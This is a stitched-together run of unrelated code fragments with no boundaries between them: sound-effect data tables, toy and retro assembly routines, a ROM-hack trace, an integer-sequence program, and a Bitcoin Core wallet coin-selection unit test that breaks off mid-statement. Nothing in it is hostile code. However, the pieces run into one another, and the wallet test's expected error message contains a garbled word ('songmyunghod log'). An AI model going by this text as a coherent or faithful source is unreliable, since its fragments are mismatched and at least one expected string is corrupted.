$78, $78, $78 DB $01, $80, $00, $02 DB $0A, $FF, $86, $88 DB $88, $87, $87, $87 DB $77, $87, $77, $87 DB $88, $77, $87, $87 DB $78, $78, $01, $80 DB $00, $02, $01, $80 DB $00, $11, $02 INSTs11space31_CHNL0: DB $05, $F1, $01 DB $80, $00, $01, $0A DB $80, $0B, $4E, $00 DB $01, $02 INSTs11space32_CHNL0: DB $05, $73, $01 DB $80, $00, $01, $0A DB $80, $0B, $08, $00 DB $01, $02 INSTs11space33_CHNL0: DB $05, $41, $08 DB $01, $80, $00, $01 DB $0A, $40, $0B, $0E DB $00, $01, $02 INSTs11space34_CHNL0: DB $09, $05, $A1 DB $0A, $C0, $01, $80 DB $00, $03, $05, $46 DB $01, $80, $00, $04 DB $02 INSTs11space35_CHNL0: DB $05, $41, $01 DB $80, $00, $01, $0A DB $80, $0B, $4E, $00 DB $01, $02 INSTs11space36_CHNL0: DB $08, $05, $C2 DB $0A, $80, $0B, $1C DB $01, $80, $00, $03 DB $07, $00, $01, $02 INSTs11space37_CHNL2: DB $0A, $01, $01 DB $23, $44, $56, $78 DB $9B, $DF, $C9, $64 DB $32, $22, $22, $11 DB $11, $00, $00, $05 DB $60, $01, $80, $00 DB $26, $02 INSTs11space38_CHNL0: DB $00, $02, $07 DB $05, $A2, $0A, $80 DB $0B, $1C, $01, $80 DB $00, $02, $02 INSTs11space39_CHNL0: DB $00, $04, $09 DB $05, $D2, $0A, $80 DB $0B, $1C, $01, $80 DB $00, $03, $07, $00 DB $02, $02 INSTs11space40_CHNL3: DB $07, $03, $01 DB $0A, $10, $01, $80 DB $00, $02, $05, $37 DB $0A, $10, $01, $80 DB $00, $02, $02 INSTs11space41_CHNL3: DB $07, $05, $0B DB $0A, $00, $01, $80 DB $00, $1A, $05, $60 DB $0A, $14, $01, $80 DB $00, $02, $05, $60 DB $0A, $14, $01, $80 DB $00, $02, $05, $60 DB $0A, $24, $01, $80 DB $00, $02, $05, $50 DB $0A, $24, $01, $80 DB $00, $02, $05, $50 DB $0A, $34, $01, $80 DB $00, $02, $05, $50 DB $0A, $44, $01, $80 DB $00, $02, $05, $30 DB $0A, $54, $01, $80 DB $00, $02, $05, $30 DB $0A, $54, $01, $80 DB $00, $02, $05, $30 DB $0A, $64, $01, $80 DB $00, $06, $02 INSTs11space42_CHNL0: DB $03, $02, $0B DB $08, $0A, $00, $07 DB $01, $80, $00, $02 DB $09, $00, $02, $05 DB $45, $07, $00, $02 DB $09, $00, $07, $02 INSTs11space43_CHNL0: DB $00, $02, $03 DB $02, $07, $0B, $08 DB $0A, $00, $01, $80 DB $00, $02, $09, $00 DB $02, $05, $44, $07 DB $00, $02, $09, $00 DB $06, $02 INSTs11space44_CHNL0: DB $00, $04, $03 DB $02, $0B, $08, $0A DB $00, $07, $01, $80 DB $00, $02, $09, $00 DB $02, $05, $44, $07 DB $00, $02, $09, $00 DB $02, $07, $00, $02 DB $09, $00, $02, $07 DB $00, $02, $09, $00 DB $02, $07, $00, $02 DB $09, $00, $02, $02 INSTs11space45_CHNL3: DB $07, $05, $70 DB $07, $0A, $14, $01 DB $80, $00, $01, $05 DB $D0, $0A, $66, $01 DB $80, $00, $03, $05 DB $34, $01, $80, $00 DB $02, $02 INSTs11space46_CHNL3: DB $07, $05, $40 DB $07, $0A, $14, $01 DB $80, $00, $01, $05 DB $60, $0A, $66, $01 DB $80, $00, $03, $05 DB $24, $01, $80, $00 DB $02, $02 INSTs11space47_CHNL0: DB $05, $0F, $0B DB $08, $0A, $40, $07 DB $01, $80, $00, $03 DB $02 INSTs11space48_CHNL0: DB $07, $03, $01 DB $0B, $08, $01, $80 DB $00, $02, $05, $37 DB $00, $04, $02 INSTs11space49_CHNL3: DB $03, $00, $0A DB $44, $08, $01, $80 DB $00, $02, $07, $01 DB $80, $00, $02, $09 DB $01, $80, $00, $02 DB $07, $01, $80, $00 DB $1F, $02 ; ************************ SFX Table ********************* Inst_s11space:: DW INSTs11space_CHNLOFF DW INSTs11space1_CHNL0 DW INSTs11space2_CHNL3 DW INSTs11space3_CHNL3 DW INSTs11space4_CHNL3 DW INSTs11space5_CHNL1 DW INSTs11space6_CHNL1 DW INSTs11space7_CHNL0 DW INSTs11space8_CHNL0 DW INSTs11space9_CHNL3 DW INSTs11space10_CHNL3 DW INSTs11space11_CHNL2 DW INSTs11space12_CHNL2 DW INSTs11space13_CHNL2 DW INSTs11space14_CHNL2 DW INSTs11space15_CHNL1 DW INSTs11space16_CHNL1 DW INSTs11space17_CHNL1 DW INSTs11space18_CHNL1 DW INSTs11space19_CHNL0 DW INSTs11space20_CHNL0 DW INSTs11space21_CHNL0 DW INSTs11space22_CHNL0 DW INSTs11space23_CHNL3 DW INSTs11space24_CHNL3 DW INSTs11space25_CHNL3 DW INSTs11space26_CHNL3 DW INSTs11space27_CHNL2 DW INSTs11space28_CHNL0 DW INSTs11space29_CHNL2 DW INSTs11space30_CHNL2 DW INSTs11space31_CHNL0 DW INSTs11space32_CHNL0 DW INSTs11space33_CHNL0 DW INSTs11space34_CHNL0 DW INSTs11space35_CHNL0 DW INSTs11space36_CHNL0 DW INSTs11space37_CHNL2 DW INSTs11space38_CHNL0 DW INSTs11space39_CHNL0 DW INSTs11space40_CHNL3 DW INSTs11space41_CHNL3 DW INSTs11space42_CHNL0 DW INSTs11space43_CHNL0 DW INSTs11space44_CHNL0 DW INSTs11space45_CHNL3 DW INSTs11space46_CHNL3 DW INSTs11space47_CHNL0 DW INSTs11space48_CHNL0 DW INSTs11space49_CHNL3
xor r0,r0,r0 xor r1,r1,r1 xor r2,r2,r2 xor r3,r3,r3 xor r4,r4,r4 xor r5,r5,r5 xor r6,r6,r6 ldl $-1 lsr r0,r7,r0 ldl #main jmp r0,r7,r0 nop r0,r0,r0 >main nop r0,r0,r0 ldl $30 and r7,r7,r1 ldl $27 and r7,r7,r2 ldl #mult call r0,r7,r0 ldl #outVal load r0,r7,r2 ldl #drawhex call r0,r7,r0 nop r0,r0,r0 hlt nop r0,r0,r0 >mult nop r0,r0,r0 ldl $0 and r7,r7,r3 ldl $1 and r7,r7,r4 sub r2,r4,r2 ldl $0 and r7,r7,r4 nop r0,r0,r0 >loop0 nop r0,r0,r0 add r3,r1,r3 cmp r4,r2,r0 ldl #loopend1 je r0,r7,r0 ldl $1 add r7,r4,r4 ldl #loop0 jmp r0,r7,r0 nop r0,r0,r0 >loopend1 nop r0,r0,r0 ldl #outVal store r0,r7,r3 ret nop r0,r0,r0 >drawhex nop r0,r0,r0 ldl $12 and r7,r7,r5 ldl $4 and r7,r7,r4 ldl $0 and r7,r7,r3 nop r0,r0,r0 >loop2 nop r0,r0,r0 add r1,r3,r3 ldl $8000 store r0,r7,r3 sub r3,r1,r3 ldl $15 and r7,r7,r6 bsl r6,r5,r6 and r6,r2,r6 bsr r6,r5,r6 ldl #hexDat and r7,r7,r4 add r4,r6,r4 load r0,r4,r6 ldl $8002 store r0,r7,r6 ldl $4 and r7,r7,r4 sub r5,r4,r5 ldl $3 cmp r3,r7,r0 ldl #loopend3 je r0,r7,r0 ldl $1 add r7,r3,r3 ldl #loop2 nop r0,r0,r0 jmp r0,r7,r0 nop r0,r0,r0 >loopend3 hlt hlt ret >hexDat . 48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70 >times . 42 >equals . 61 >outVal . 0
bits 64 rdfsbase eax rdfsbase rax rdgsbase eax rdgsbase rax rdrand ax rdrand eax rdrand rax wrfsbase eax wrfsbase rax wrgsbase eax wrgsbase rax osp rdfsbase eax osp rdfsbase rax osp rdgsbase eax osp rdgsbase rax osp wrfsbase eax osp wrfsbase rax osp wrgsbase eax osp wrgsbase rax
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 016ECE move.b ($4,A3), ($e,A6) [base+6BAD, base+6BBD, base+6BCD] 016ED4 move.b ($5,A3), ($f,A6) 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
JZ 6 0 DPRINT 55 HALT JZ 12 1 DPRINT 22 HALT DPRINT 33 HALT
// pop off the stack onto %%SEGMENT%% + %%INDEX%% @%%SEGMENT%% D=A @%%INDEX%% D=D+A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D
SFX_Battle_25_Ch1: unknownnoise0x20 15, 79, 65 unknownnoise0x20 8, 143, 65 unknownnoise0x20 8, 207, 65 unknownnoise0x20 8, 242, 66 unknownnoise0x20 15, 242, 65 endchannel
; A182362: a(n+1) = a(n) + floor(a(n)/9) with a(0)=9. ; 9,10,11,12,13,14,15,16,17,18,20,22,24,26,28,31,34,37,41,45,50,55,61,67,74,82,91,101,112,124,137,152,168,186,206,228,253,281,312,346,384,426,473,525,583,647,718,797,885,983,1092,1213,1347,1496,1662,1846 lpb $0 sub $0,1 add $2,1 mov $1,$2 div $2,9 add $2,$1 lpe add $1,9 mov $0,$1
// Copyright (c) 2012-2016 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "wallet/wallet.h" #include <set> #include <stdint.h> #include <utility> #include <vector> #include "consensus/validation.h" #include "rpc/server.h" #include "test/test_bitcoin.h" #include "validation.h" #include "wallet/coincontrol.h" #include "wallet/test/wallet_test_fixture.h" #include <boost/test/unit_test.hpp> #include <univalue.h> extern CWallet* pwalletMain; extern UniValue importmulti(const JSONRPCRequest& request); extern UniValue dumpwallet(const JSONRPCRequest& request); extern UniValue importwallet(const JSONRPCRequest& request); // how many times to run all the tests to have a chance to catch errors that only show up with particular random shuffles #define RUN_TESTS 100 // some tests fail 1% of the time due to bad luck. // we repeat those tests this many times and only complain if all iterations of the test fail #define RANDOM_REPEATS 5 std::vector<std::unique_ptr<CWalletTx>> wtxn; typedef std::set<CInputCoin> CoinSet; BOOST_FIXTURE_TEST_SUITE(wallet_tests, WalletTestingSetup) static const CWallet testWallet; static std::vector<COutput> vCoins; static void add_coin(const CAmount& nValue, int nAge = 6*24, bool fIsFromMe = false, int nInput=0) { static int nextLockTime = 0; CMutableTransaction tx; tx.nLockTime = nextLockTime++; // so all transactions get different hashes tx.vout.resize(nInput+1); tx.vout[nInput].nValue = nValue; if (fIsFromMe) { // IsFromMe() returns (GetDebit() > 0), and GetDebit() is 0 if vin.empty(), // so stop vin being empty, and cache a non-zero Debit to fake out IsFromMe() tx.vin.resize(1); } std::unique_ptr<CWalletTx> wtx(new CWalletTx(&testWallet, MakeTransactionRef(std::move(tx)))); if (fIsFromMe) { wtx->fDebitCached = true; wtx->nDebitCached = 1; } COutput output(wtx.get(), nInput, nAge, true /* spendable */, true /* solvable */, true /* safe */); vCoins.push_back(output); wtxn.emplace_back(std::move(wtx)); } static void empty_wallet(void) { vCoins.clear(); wtxn.clear(); } static bool equal_sets(CoinSet a, CoinSet b) { std::pair<CoinSet::iterator, CoinSet::iterator> ret = mismatch(a.begin(), a.end(), b.begin()); return ret.first == a.end() && ret.second == b.end(); } BOOST_AUTO_TEST_CASE(coin_selection_tests) { CoinSet setCoinsRet, setCoinsRet2; CAmount nValueRet; LOCK(testWallet.cs_wallet); // test multiple times to allow for differences in the shuffle order for (int i = 0; i < RUN_TESTS; i++) { empty_wallet(); // with an empty wallet we can't even pay one cent BOOST_CHECK(!testWallet.SelectCoinsMinConf( 1 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet)); add_coin(1*CENT, 4); // add a new 1 cent coin // with a new 1 cent coin, we still can't find a mature 1 cent BOOST_CHECK(!testWallet.SelectCoinsMinConf( 1 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet)); // but we can find a new 1 cent BOOST_CHECK( testWallet.SelectCoinsMinConf( 1 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 1 * CENT); add_coin(2*CENT); // add a mature 2 cent coin // we can't make 3 cents of mature coins BOOST_CHECK(!testWallet.SelectCoinsMinConf( 3 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet)); // we can make 3 cents of new coins BOOST_CHECK( testWallet.SelectCoinsMinConf( 3 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 3 * CENT); add_coin(5*CENT); // add a mature 5 cent coin, add_coin(10*CENT, 3, true); // a new 10 cent coin sent from one of our own addresses add_coin(20*CENT); // and a mature 20 cent coin // now we have new: 1+10=11 (of which 10 was self-sent), and mature: 2+5+20=27. total = 38 // we can't make 38 cents only if we disallow new coins: BOOST_CHECK(!testWallet.SelectCoinsMinConf(38 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet)); // we can't even make 37 cents if we don't allow new coins even if they're from us BOOST_CHECK(!testWallet.SelectCoinsMinConf(38 * CENT, 6, 6, 0, vCoins, setCoinsRet, nValueRet)); // but we can make 37 cents if we accept new coins from ourself BOOST_CHECK( testWallet.SelectCoinsMinConf(37 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 37 * CENT); // and we can make 38 cents if we accept all new coins BOOST_CHECK( testWallet.SelectCoinsMinConf(38 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 38 * CENT); // try making 34 cents from 1,2,5,10,20 - we can't do it exactly BOOST_CHECK( testWallet.SelectCoinsMinConf(34 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 35 * CENT); // but 35 cents is closest BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U); // the best should be 20+10+5. it's incredibly unlikely the 1 or 2 got included (but possible) // when we try making 7 cents, the smaller coins (1,2,5) are enough. We should see just 2+5 BOOST_CHECK( testWallet.SelectCoinsMinConf( 7 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 7 * CENT); BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U); // when we try making 8 cents, the smaller coins (1,2,5) are exactly enough. BOOST_CHECK( testWallet.SelectCoinsMinConf( 8 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK(nValueRet == 8 * CENT); BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U); // when we try making 9 cents, no subset of smaller coins is enough, and we get the next bigger coin (10) BOOST_CHECK( testWallet.SelectCoinsMinConf( 9 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 10 * CENT); BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); // now clear out the wallet and start again to test choosing between subsets of smaller coins and the next biggest coin empty_wallet(); add_coin( 6*CENT); add_coin( 7*CENT); add_coin( 8*CENT); add_coin(20*CENT); add_coin(30*CENT); // now we have 6+7+8+20+30 = 71 cents total // check that we have 71 and not 72 BOOST_CHECK( testWallet.SelectCoinsMinConf(71 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK(!testWallet.SelectCoinsMinConf(72 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); // now try making 16 cents. the best smaller coins can do is 6+7+8 = 21; not as good at the next biggest coin, 20 BOOST_CHECK( testWallet.SelectCoinsMinConf(16 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 20 * CENT); // we should get 20 in one coin BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); add_coin( 5*CENT); // now we have 5+6+7+8+20+30 = 75 cents total // now if we try making 16 cents again, the smaller coins can make 5+6+7 = 18 cents, better than the next biggest coin, 20 BOOST_CHECK( testWallet.SelectCoinsMinConf(16 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 18 * CENT); // we should get 18 in 3 coins BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U); add_coin( 18*CENT); // now we have 5+6+7+8+18+20+30 // and now if we try making 16 cents again, the smaller coins can make 5+6+7 = 18 cents, the same as the next biggest coin, 18 BOOST_CHECK( testWallet.SelectCoinsMinConf(16 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 18 * CENT); // we should get 18 in 1 coin BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); // because in the event of a tie, the biggest coin wins // now try making 11 cents. we should get 5+6 BOOST_CHECK( testWallet.SelectCoinsMinConf(11 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 11 * CENT); BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U); // check that the smallest bigger coin is used add_coin( 1*COIN); add_coin( 2*COIN); add_coin( 3*COIN); add_coin( 4*COIN); // now we have 5+6+7+8+18+20+30+100+200+300+400 = 1094 cents BOOST_CHECK( testWallet.SelectCoinsMinConf(95 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 1 * COIN); // we should get 1 BTC in 1 coin BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); BOOST_CHECK( testWallet.SelectCoinsMinConf(195 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 2 * COIN); // we should get 2 BTC in 1 coin BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); // empty the wallet and start again, now with fractions of a cent, to test small change avoidance empty_wallet(); add_coin(MIN_CHANGE * 1 / 10); add_coin(MIN_CHANGE * 2 / 10); add_coin(MIN_CHANGE * 3 / 10); add_coin(MIN_CHANGE * 4 / 10); add_coin(MIN_CHANGE * 5 / 10); // try making 1 * MIN_CHANGE from the 1.5 * MIN_CHANGE // we'll get change smaller than MIN_CHANGE whatever happens, so can expect MIN_CHANGE exactly BOOST_CHECK( testWallet.SelectCoinsMinConf(MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, MIN_CHANGE); // but if we add a bigger coin, small change is avoided add_coin(1111*MIN_CHANGE); // try making 1 from 0.1 + 0.2 + 0.3 + 0.4 + 0.5 + 1111 = 1112.5 BOOST_CHECK( testWallet.SelectCoinsMinConf(1 * MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 1 * MIN_CHANGE); // we should get the exact amount // if we add more small coins: add_coin(MIN_CHANGE * 6 / 10); add_coin(MIN_CHANGE * 7 / 10); // and try again to make 1.0 * MIN_CHANGE BOOST_CHECK( testWallet.SelectCoinsMinConf(1 * MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 1 * MIN_CHANGE); // we should get the exact amount // run the 'mtgox' test (see http://blockexplorer.com/tx/29a3efd3ef04f9153d47a990bd7b048a4b2d213daaa5fb8ed670fb85f13bdbcf) // they tried to consolidate 10 50k coins into one 500k coin, and ended up with 50k in change empty_wallet(); for (int j = 0; j < 20; j++) add_coin(50000 * COIN); BOOST_CHECK( testWallet.SelectCoinsMinConf(500000 * COIN, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 500000 * COIN); // we should get the exact amount BOOST_CHECK_EQUAL(setCoinsRet.size(), 10U); // in ten coins // if there's not enough in the smaller coins to make at least 1 * MIN_CHANGE change (0.5+0.6+0.7 < 1.0+1.0), // we need to try finding an exact subset anyway // sometimes it will fail, and so we use the next biggest coin: empty_wallet(); add_coin(MIN_CHANGE * 5 / 10); add_coin(MIN_CHANGE * 6 / 10); add_coin(MIN_CHANGE * 7 / 10); add_coin(1111 * MIN_CHANGE); BOOST_CHECK( testWallet.SelectCoinsMinConf(1 * MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 1111 * MIN_CHANGE); // we get the bigger coin BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); // but sometimes it's possible, and we use an exact subset (0.4 + 0.6 = 1.0) empty_wallet(); add_coin(MIN_CHANGE * 4 / 10); add_coin(MIN_CHANGE * 6 / 10); add_coin(MIN_CHANGE * 8 / 10); add_coin(1111 * MIN_CHANGE); BOOST_CHECK( testWallet.SelectCoinsMinConf(MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, MIN_CHANGE); // we should get the exact amount BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U); // in two coins 0.4+0.6 // test avoiding small change empty_wallet(); add_coin(MIN_CHANGE * 5 / 100); add_coin(MIN_CHANGE * 1); add_coin(MIN_CHANGE * 100); // trying to make 100.01 from these three coins BOOST_CHECK(testWallet.SelectCoinsMinConf(MIN_CHANGE * 10001 / 100, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, MIN_CHANGE * 10105 / 100); // we should get all coins BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U); // but if we try to make 99.9, we should take the bigger of the two small coins to avoid small change BOOST_CHECK(testWallet.SelectCoinsMinConf(MIN_CHANGE * 9990 / 100, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 101 * MIN_CHANGE); BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U); // test with many inputs for (CAmount amt=1500; amt < COIN; amt*=10) { empty_wallet(); // Create 676 inputs (= (old MAX_STANDARD_TX_SIZE == 100000) / 148 bytes per input) for (uint16_t j = 0; j < 676; j++) add_coin(amt); BOOST_CHECK(testWallet.SelectCoinsMinConf(2000, 1, 1, 0, vCoins, setCoinsRet, nValueRet)); if (amt - 2000 < MIN_CHANGE) { // needs more than one input: uint16_t returnSize = std::ceil((2000.0 + MIN_CHANGE)/amt); CAmount returnValue = amt * returnSize; BOOST_CHECK_EQUAL(nValueRet, returnValue); BOOST_CHECK_EQUAL(setCoinsRet.size(), returnSize); } else { // one input is sufficient: BOOST_CHECK_EQUAL(nValueRet, amt); BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); } } // test randomness { empty_wallet(); for (int i2 = 0; i2 < 100; i2++) add_coin(COIN); // picking 50 from 100 coins doesn't depend on the shuffle, // but does depend on randomness in the stochastic approximation code BOOST_CHECK(testWallet.SelectCoinsMinConf(50 * COIN, 1, 6, 0, vCoins, setCoinsRet , nValueRet)); BOOST_CHECK(testWallet.SelectCoinsMinConf(50 * COIN, 1, 6, 0, vCoins, setCoinsRet2, nValueRet)); BOOST_CHECK(!equal_sets(setCoinsRet, setCoinsRet2)); int fails = 0; for (int j = 0; j < RANDOM_REPEATS; j++) { // selecting 1 from 100 identical coins depends on the shuffle; this test will fail 1% of the time // run the test RANDOM_REPEATS times and only complain if all of them fail BOOST_CHECK(testWallet.SelectCoinsMinConf(COIN, 1, 6, 0, vCoins, setCoinsRet , nValueRet)); BOOST_CHECK(testWallet.SelectCoinsMinConf(COIN, 1, 6, 0, vCoins, setCoinsRet2, nValueRet)); if (equal_sets(setCoinsRet, setCoinsRet2)) fails++; } BOOST_CHECK_NE(fails, RANDOM_REPEATS); // add 75 cents in small change. not enough to make 90 cents, // then try making 90 cents. there are multiple competing "smallest bigger" coins, // one of which should be picked at random add_coin(5 * CENT); add_coin(10 * CENT); add_coin(15 * CENT); add_coin(20 * CENT); add_coin(25 * CENT); fails = 0; for (int j = 0; j < RANDOM_REPEATS; j++) { // selecting 1 from 100 identical coins depends on the shuffle; this test will fail 1% of the time // run the test RANDOM_REPEATS times and only complain if all of them fail BOOST_CHECK(testWallet.SelectCoinsMinConf(90*CENT, 1, 6, 0, vCoins, setCoinsRet , nValueRet)); BOOST_CHECK(testWallet.SelectCoinsMinConf(90*CENT, 1, 6, 0, vCoins, setCoinsRet2, nValueRet)); if (equal_sets(setCoinsRet, setCoinsRet2)) fails++; } BOOST_CHECK_NE(fails, RANDOM_REPEATS); } } empty_wallet(); } BOOST_AUTO_TEST_CASE(ApproximateBestSubset) { CoinSet setCoinsRet; CAmount nValueRet; LOCK(testWallet.cs_wallet); empty_wallet(); // Test vValue sort order for (int i = 0; i < 1000; i++) add_coin(1000 * COIN); add_coin(3 * COIN); BOOST_CHECK(testWallet.SelectCoinsMinConf(1003 * COIN, 1, 6, 0, vCoins, setCoinsRet, nValueRet)); BOOST_CHECK_EQUAL(nValueRet, 1003 * COIN); BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U); empty_wallet(); } static void AddKey(CWallet& wallet, const CKey& key) { LOCK(wallet.cs_wallet); wallet.AddKeyPubKey(key, key.GetPubKey()); } BOOST_FIXTURE_TEST_CASE(rescan, TestChain100Setup) { LOCK(cs_main); // Cap last block file size, and mine new block in a new block file. CBlockIndex* const nullBlock = nullptr; CBlockIndex* oldTip = chainActive.Tip(); GetBlockFileInfo(oldTip->GetBlockPos().nFile)->nSize = MAX_BLOCKFILE_SIZE; CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())); CBlockIndex* newTip = chainActive.Tip(); // Verify ScanForWalletTransactions picks up transactions in both the old // and new block files. { CWallet wallet; AddKey(wallet, coinbaseKey); BOOST_CHECK_EQUAL(nullBlock, wallet.ScanForWalletTransactions(oldTip)); BOOST_CHECK_EQUAL(wallet.GetImmatureBalance(), 100 * COIN); } // Prune the older block file. PruneOneBlockFile(oldTip->GetBlockPos().nFile); UnlinkPrunedFiles({oldTip->GetBlockPos().nFile}); // Verify ScanForWalletTransactions only picks transactions in the new block // file. { CWallet wallet; AddKey(wallet, coinbaseKey); BOOST_CHECK_EQUAL(oldTip, wallet.ScanForWalletTransactions(oldTip)); BOOST_CHECK_EQUAL(wallet.GetImmatureBalance(), 50 * COIN); } // Verify importmulti RPC returns failure for a key whose creation time is // before the missing block, and success for a key whose creation time is // after. { CWallet wallet; vpwallets.insert(vpwallets.begin(), &wallet); UniValue keys; keys.setArray(); UniValue key; key.setObject(); key.pushKV("scriptPubKey", HexStr(GetScriptForRawPubKey(coinbaseKey.GetPubKey()))); key.pushKV("timestamp", 0); key.pushKV("internal", UniValue(true)); keys.push_back(key); key.clear(); key.setObject(); CKey futureKey; futureKey.MakeNewKey(true); key.pushKV("scriptPubKey", HexStr(GetScriptForRawPubKey(futureKey.GetPubKey()))); key.pushKV("timestamp", newTip->GetBlockTimeMax() + TIMESTAMP_WINDOW + 1); key.pushKV("internal", UniValue(true)); keys.push_back(key); JSONRPCRequest request; request.params.setArray(); request.params.push_back(keys); UniValue response = importmulti(request); BOOST_CHECK_EQUAL(response.write(), strprintf("[{\"success\":false,\"error\":{\"code\":-1,\"message\":\"Rescan failed for key with creation " "timestamp %d. There was an error reading a block from time %d, which is after or within %d " "seconds of key creation, and could contain transactions pertaining to the key. As a result, " "transactions and coins using this key may not appear in the wallet. This error could be caused " "by pruning or data corruption (see songmyunghod log for details) and could be dealt with by " "downloading and rescanning the relevant blocks (see -reindex and -rescan " "options).\"}},{\"success\":true}]", 0, oldTip->GetBlockTimeMax(), TIMESTAMP_WINDOW)); vpwallets.erase(vpwallets.begin()); } } // Verify importwallet RPC starts rescan at earliest block with timestamp // greater or equal than key birthday. Previously there was a bug where // importwallet RPC would start the scan at the latest block with timestamp less // than or equal to key birthday. BOOST_FIXTURE_TEST_CASE(importwallet_rescan, TestChain100Setup) { LOCK(cs_main); // Create two blocks with same timestamp to verify that importwallet rescan // will pick up both blocks, not just the first. const int64_t BLOCK_TIME = chainActive.Tip()->GetBlockTimeMax() + 5; SetMockTime(BLOCK_TIME); coinbaseTxns.emplace_back(*CreateAndProcessBlock({}, 